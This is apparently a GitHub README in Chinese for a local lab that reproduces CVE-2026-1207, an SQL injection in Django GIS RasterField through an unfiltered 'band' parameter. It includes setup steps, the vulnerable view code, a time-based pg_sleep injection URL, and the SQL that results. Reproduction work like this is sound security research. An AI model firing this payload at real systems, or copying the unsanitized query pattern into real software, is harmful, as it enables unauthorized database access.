sw0rd1ight/CVE-2026-1207
GitHub: sw0rd1ight/CVE-2026-1207
复现 Django GIS RasterField 在处理 PostGIS 栅格查询时因 band 参数未过滤而导致的 SQL 注入漏洞。
Stars: 0 | Forks: 0
# CVE-2026-1207 Django GIS RasterField SQL 注入漏洞复现
## 漏洞概述
**漏洞类型**: SQL 注入 (SQL Injection)
**影响组件**: `django.contrib.gis` RasterField
当使用 Django GIS 的 `RasterField` 进行查询时,`band` 参数被直接拼接到 SQL 语句中,导致 SQL 注入漏洞。攻击者可通过构造恶意的 `band` 参数值,注入任意 SQL 代码。
## 项目结构
CVE-2026-1207/
├── .devcontainer/ # VSCode DevContainer 配置
├── .vscode/ # VSCode 配置
├── vuln/ # 漏洞演示应用
│ ├── models.py # 包含 RasterField 的模型
│ ├── views.py # 漏洞触发点
│ └── migrations/ # 数据库迁移文件
├── web/ # Django 项目配置
├── manage.py
├── README.md
## 环境启动
该漏洞项目使用 VSCode 的 devcontainer 进行构建。
### 1️⃣ 打开项目
用 VS Code 打开已经存在的项目根目录(包含 `.devcontainer` 文件夹)。
### 2️⃣ 重新打开容器(构建 Dev Container)
按 `Ctrl+Shift+P`(Windows/Linux)或 `Cmd+Shift+P`(Mac)
输入 `Remote-Containers: Reopen in Container`
VS Code 会读取 `.devcontainer` 配置并构建容器(首次构建可能需要几分钟)
⚠️ 如果 Dockerfile 或依赖更新过,可以选择 `Remote-Containers: Rebuild Container`,确保使用最新环境。
### 3️⃣ 运行 Django 开发服务器
打开命令面板 `Ctrl+Shift+P`
输入 `Tasks: Run Task`
选择 `django:start`(任务已在 `.vscode/tasks.json` 配置)
这个任务会在容器内启动 Django 开发服务器
默认监听 `0.0.0.0:8087`
### 4️⃣ 打开浏览器访问项目
打开浏览器访问:
http://localhost:8087
### 5️⃣ 注意事项
第一次运行可能需要执行数据库迁移:
python manage.py migrate
## 漏洞复现
漏洞分析详情发表在
先知[https://xz.aliyun.com/news/91993](https://xz.aliyun.com/news/91993)
微信公众号[https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A](https://xz.aliyun.com/news/91993)
### POC: 延时注入
访问以下 URL 触发 SQL 注入:
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
观察响应时间,正常请求应立即返回,注入请求会延迟约 3 秒。
### 漏洞代码位置
[vuln/views.py:36](vuln/views.py#L36)
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← 未经过滤的用户输入
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band 直接传入查询
print(qs.query) # ← 查看生成的 SQL
qs.count()
return HttpResponse("book app")
### 生成的 SQL(注入后)
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
## 免责声明
本项目仅供安全研究和教育目的使用。请勿在未经授权的系统上使用。
标签:CISA项目, CVE-2026-1207, Django, GIS, OPA, PoC, PostGIS, Python, RasterField, VSCode DevContainer, Web安全, 开放策略代理, 无后门, 暴力破解, 栅格数据, 波段索引, 测试用例, 漏洞复现, 网络安全, 蓝队分析, 请求拦截, 逆向工具, 隐私保护, 靶场